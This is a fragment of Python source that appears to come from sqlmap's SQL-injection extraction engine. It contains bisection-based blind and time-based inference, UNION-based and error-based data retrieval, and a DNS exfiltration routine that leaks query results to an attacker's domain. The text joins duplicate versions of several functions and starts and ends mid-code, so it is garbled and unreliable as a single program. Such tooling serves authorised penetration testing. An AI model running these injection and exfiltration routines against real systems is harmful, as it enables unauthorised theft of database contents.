commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not conf.api: infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not conf.api: dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException(u"线程内发生意外事件") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.rowXmlMode: injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if not kb.rowXmlMode: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) else: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) if output: try: root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING)) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: value.decode("base64") except binascii.Error: base64 = False break if base64: for child in root: child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.rowXmlMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not kb.rowXmlMode: injExpression = unescaper.escape( agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if not kb.rowXmlMode: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) else: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page) if output: try: root = xml.etree.ElementTree.fromstring( "<root>%s</root>" % output.encode(UNICODE_ENCODING)) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match( r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: value.decode("base64") except binascii.Error: base64 = False break if base64: for child in root: child.attrib[column] = child.attrib.get( column, "").decode("base64") or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.rowXmlMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def dnsUse(payload, expression): """ Retrieve the output of a SQL query taking advantage of the DNS resolution mechanism by making request back to attacker's machine. """ start = time.time() retVal = None count = 0 offset = 1 if conf.dnsDomain and Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL): output = hashDBRetrieve(expression, checkConf=True) if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None: output = None if output is None: kb.dnsMode = True while True: count += 1 prefix, suffix = ( "%s" % randomStr(length=3, alphabet=DNS_BOUNDARIES_ALPHABET) for _ in xrange(2)) chunk_length = MAX_DNS_LABEL // 2 if Backend.getIdentifiedDbms( ) in (DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL) else MAX_DNS_LABEL // 4 - 2 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields( expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(fieldToCastStr), expression).group(0) if extendedField != fieldToCastStr: # e.g. MIN(surname) nulledCastedField = extendedField.replace( fieldToCastStr, nulledCastedField) fieldToCastStr = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) nulledCastedField = agent.hexConvertField(nulledCastedField) expressionReplaced = expression.replace( fieldToCastStr, nulledCastedField, 1) expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain) expressionUnescaped = unescaper.escape(expressionRequest) if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL): query = agent.prefixQuery("; %s" % expressionUnescaped) query = "%s%s" % (query, queries[ Backend.getIdentifiedDbms()].comment.query) forgedPayload = agent.payload(newValue=query) else: forgedPayload = safeStringFormat( payload, (expressionUnescaped, randomInt(1), randomInt(3))) Request.queryPage(forgedPayload, content=False, noteResponseTime=False, raise404=False) _ = conf.dnsServer.pop(prefix, suffix) if _: _ = extractRegexResult( r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I) _ = decodeDbmsHexValue(_) output = (output or "") + _ offset += len(_) if len(_) < chunk_length: break else: break output = decodeDbmsHexValue(output) if conf.hexConvert else output kb.dnsMode = False if output is not None: retVal = output if kb.dnsTest is not None: dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % ( count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) elif conf.dnsDomain: warnMsg = "DNS data exfiltration method through SQL injection " warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) return safecharencode(retVal) if kb.safeCharEncode else retVal
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(asciiTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve( "%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: # Prepare expression with delimiters injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) # Forge the union SQL injection request vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[ 6] payload = agent.payload(newValue=query, where=where) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) # Parse the returned page to get the exact union-based # SQL injection output def _(regex): return reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \ extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \ if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \ None) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal) else: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) return retVal
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded) extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 if payload is None: return 0, None if charsetType is None and conf.charset: asciiTbl = sorted(set(ord(_) for _ in conf.charset)) else: asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if conf.repair and INFERENCE_UNKNOWN_CHAR in retVal: pass elif PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal if Backend.isDbms(DBMS.MCKOI): match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I) if match: original = queries[Backend.getIdentifiedDbms()].inference.query right = original.split('<')[1] payload = payload.replace( right, "(SELECT %s FROM %s)" % (right, match.group(2).strip())) expression = match.group(1).strip() elif Backend.isDbms(DBMS.FRONTBASE): match = re.search( r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I) if match: payload = payload.replace( INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR)) payload = payload.replace( "SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1) expression = match.group(2).strip() try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): firstChar = 0 elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar <<= 1 elif hasattr(firstChar, "isdigit") and firstChar.isdigit() or isinstance( firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN|COUNT)\(", expression): lastChar = 0 elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance( lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if hasattr(length, "isdigit") and length.isdigit() or isinstance( length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) if kb.bruteMode: numThreads = 1 else: numThreads = min(conf.threads or 0, length or 0) or 1 if showEta: progress = ProgressBar(maxValue=length) if numThreads > 1: if not timeBasedCompare or kb.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not any( (timeBasedCompare, conf.predictOutput)): warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not any( (showEta, conf.api, kb.bruteMode)): if isinstance(length, int) and numThreads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) def tryHint(idx): with kb.locks.hint: hintValue = kb.hintValue if payload is not None and len( hintValue or "") > 0 and len(hintValue) >= idx: if "'%s'" % CHAR_INFERENCE_MARK in payload: posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = agent.extractPayload(payload) or "" forgedPayload = safeStringFormat( forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)).replace( markingValue, unescapedCharValue) result = Request.queryPage(agent.replacePayload( payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return hintValue[idx - 1] with kb.locks.hint: kb.hintValue = "" return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ validationPayload = re.sub( r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat( validationPayload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare and getTechniqueData().trueCode: result = threadData.lastCode == getTechniqueData().trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % ( threadData.lastCode, getTechniqueData().trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(getTechnique()) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False if continuousOrder: while len(charTbl) > 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [ _ for _ in threadData.shared.value if _ is not None ][-1] except IndexError: lastChar = None else: if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck 